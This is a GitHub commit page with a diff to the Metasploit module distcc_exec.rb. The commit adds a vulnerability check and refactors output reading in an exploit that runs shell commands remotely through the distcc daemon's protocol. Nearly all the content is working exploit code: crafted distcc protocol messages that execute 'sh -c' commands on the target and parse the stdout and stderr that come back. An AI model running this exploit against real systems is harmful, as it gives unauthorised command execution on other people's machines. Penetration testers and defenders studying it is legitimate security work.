Skip to content

Commit

Permalink
Add a check for distcc_exec
Browse files Browse the repository at this point in the history
Just executes the exploit with an "echo <random>" payload to see if it
works.
  • Loading branch information
egypt committed Jun 18, 2012
1 parent 68496d3 commit 96c16a4
Showing 1 changed file with 35 additions and 12 deletions.
47 changes: 35 additions & 12 deletions modules/exploits/unix/misc/distcc_exec.rb
Expand Up @@ -63,6 +63,21 @@ def initialize(info = {})
], self.class)
end

def check
r = rand_text_alphanumeric(10)
connect
sock.put(dist_cmd("sh", "-c", "echo #{r}"))

dtag = rand_text_alphanumeric(10)
sock.put("DOTI0000000A#{dtag}\n")

err, out = read_output
if out.index(r)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect

Expand All @@ -72,6 +87,21 @@ def exploit
dtag = rand_text_alphanumeric(10)
sock.put("DOTI0000000A#{dtag}\n")

err, out = read_output

(err || "").split("\n") do |line|
print_status("stderr: #{line}")
end
(out || "").split("\n") do |line|
print_status("stdout: #{line}")
end

handler
disconnect
end

def read_output

res = sock.get_once(24, 5)

if !(res and res.length == 24)
Expand All @@ -85,29 +115,22 @@ def exploit
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]

return if not len
return [nil, nil] if not len
if (len > 0)
res = sock.get_once(len, 5)
res.split("\n").each do |line|
print_status("stderr: #{line}")
end
err = sock.get_once(len, 5)
end

# Check STDOUT
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]

return if not len
return [err, nil] if not len
if (len > 0)
res = sock.get_once(len, 5)
res.split("\n").each do |line|
print_status("stdout: #{line}")
end
out = sock.get_once(len, 5)
end
return [err, out]

handler
disconnect
end


Expand Down

0 comments on commit 96c16a4

Please sign in to comment.